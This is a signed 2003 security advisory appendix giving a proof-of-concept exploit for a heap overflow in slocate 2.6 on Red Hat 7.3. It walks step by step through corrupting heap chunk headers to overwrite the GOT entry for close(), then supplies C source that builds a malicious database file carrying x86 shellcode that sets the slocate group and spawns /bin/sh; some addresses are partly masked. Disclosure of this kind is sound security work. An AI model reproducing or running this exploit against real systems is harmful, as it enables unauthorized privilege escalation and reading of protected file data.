-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ====================================================================== Security advisory 20031006 - Appendix A (proof of concept) - ---------------------------------------------------------------------- Product: slocate Vulnerability type: buffer overflow (corrupt heap) Impact: gaining elevated privileges Severity: medium (exploitation proved) Issue date: 2003/10/11 Last updated: 2003/10/11 Security advisory: SA-20031006 ====================================================================== Description - ----------- Mr. Hornik has discovered vulnerability SA-20031006 in slocate package version 2.6. This is proof that exploitation is possible and so unauthorized users may run arbitraty code under slocate group privileges and so read global slocate database. Exploitation - ------------ The exploitation which allows overwriting memory management data of the heap was described in original advisory. We are reffering to source lines from slocate-2.6-1.src.rpm from RH 7.3 here too. The attached source code constants are for RH 7.3 on i686 on 2003/10/10, except that some parts of them are * here. The main idea behind the exploitation is not straightforward, so I describe it below. The attached source code prepares test.db with following properties. It exploits the bug by: slocate -i -d test.db `perl -e 'print "B"x1024'` 1, We overwrite one byte of the buffer management headers the overflow allows to overwrite - it is highest byte of size of memory block of codedpath. We will trigger realloc on main.c:1269 later. 2, We are playing here with codedpath, casestr and bucket_of_holding. They are allocated in this order. When casestr is big enough, it is placed on the heap after codedpath. By big enough database bucket_of_holding is reallocated to 0x4002**** region later. 3, We need to prepare the area where the codedpath ends according to overwriten block size so chunk_free called from chunk_realloc will not fail because of accessing inaccessible memory or finding bad values there. But only the highest byte of memory block size can be changed, so the size change will be multiply of 0x1000000. The needed data (two small blocks just after overwriten codepath, first memory block marked as used) are placed on 0x400***** by having them on appropriate position in database. The change in size is 0x38 * 0x1000000. 4, We trigger realloc on main.c:1269, so overwriten block size value is used. We trigger realloc by prepare path which is longer than initial size (4096 bytes). We are reallocating to size which is smaller than the overwriten size and big enough to end after casestr ends. 5, Then we can overwrite casestr and memory after it by writing to codedpath because memory management thinks codedpath is so long. We will overwrite the size of memory block of casestr to 0x508 (from 0x408). Later free(casestr) is called and it seems it is top in its memory area so free behaves differently than we want. We change it so comparison of address of next block with top simply fails. 6, We place fake memory blocks after casestr such that free(casestr) overwrites address of close() in GOT to point to our arbitrary code (by setting fake backward and forward pointers in next (free) block after casestr). On main.c:1357 close(fd) is called and our code gets the control. We setregid(slocate,slocate) and run the shell. That's it. References - ---------- Security advisory: http://www.ebitech.sk/patrik/SA/SA-20031006.txt This proof of exploitation: http://www.ebitech.sk/patrik/SA/SA-20031006-A.txt Contact - ------- Patrik Hornik - -- Security Consultant Email: patrik.hornik@ebitech.sk Phone: +421 905 385 666 PGP KeyID: DFA5BC67 Source code - ----------- #include #define CODEDPATH 0x0805**20 #define DATABASE 0x4002**08 #define JUMP_BY 0x38 #define GOT_CLOSE "\x5c\x**\x04\x08" #define CODED_LENGTH 0x1008 #define PATTERN_LENGTH 0x508 #define STEP_LENGTH 0x1000000 int path_len = 0; int file_pos = 0; FILE *f; void write_buffer(int move,char *buffer,int len,int stop) { char b[3]; if (move > 127 || move < -127) { b[0] = -128; b[1] = (char)(move >> 8); b[2] = (char)(move % 256); fwrite(b,1,3,f); file_pos += 3; } else { b[0] = (char)move; fwrite(b,1,1,f); file_pos += 1; } if (stop) buffer[len] = 0; fwrite(buffer,1,len + 1,f); file_pos += len + 1; path_len += move; } void skip_to_filepos(int move,int pos) { char b[1024]; while (pos > file_pos + 1002) { memset(b,'A',998); write_buffer(move,b,998,1); } write_buffer(move,b,pos - file_pos - 2,1); } void write_to_addr(int address,char *str) { write_buffer((address - CODEDPATH) - path_len,str,strlen(str),0); } void write_int(char *buffer,int n) { int i; for (i=0;i<4;i++) { buffer[i] = (char)(n % 256); n >>= 8; if (buffer[i] == 0) { printf("Warning, zero byte!\n"); exit(-1); } } } int main(int argc,char **argv) { char b[32768]; int i; f = fopen("test.db","w"); b[0] = '0'; fwrite(b,1,1,f); write_buffer(0,b,0,1); skip_to_filepos(0,CODEDPATH - 8 + CODED_LENGTH + JUMP_BY * STEP_LENGTH - DATABASE); memset(b,0,8); b[4] = 17; memset(b + 8,0,8); fwrite(b,1,16,f); fwrite(b,1,16,f); file_pos += 32; path_len += 34; skip_to_filepos(0,file_pos + 1000000); b[0] = JUMP_BY; b[1] = 'A'; write_buffer(-path_len - 1,b,2,1); memset(b,'A',2); write_buffer(16384,b,2,1); write_to_addr(CODEDPATH + CODED_LENGTH - 3,"\x05"); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 1,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 2,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 3,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 4,"\x11"); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 6,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 7,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH,GOT_CLOSE); write_int(b,CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16); b[4] = 0; write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 4,b); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 8,"\x10"); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 10,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 11,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 12,"\x10"); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 14,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 15,""); write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16, "\x31\xc0\x31\xdb\xb3\x15\xeb\x23\x90\x90\x90\x90\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x89\xd9\xb0\x47\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh"); fclose(f); } -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.0.2i iQA/AwUBP4gb4CTdn3LfpbxnEQIHogCg6HpvneLyqND3NOnv5ZnLR9GruLAAnjbu xq5v7FMLGmqso2i1qWKqfZqk =/xd8 -----END PGP SIGNATURE-----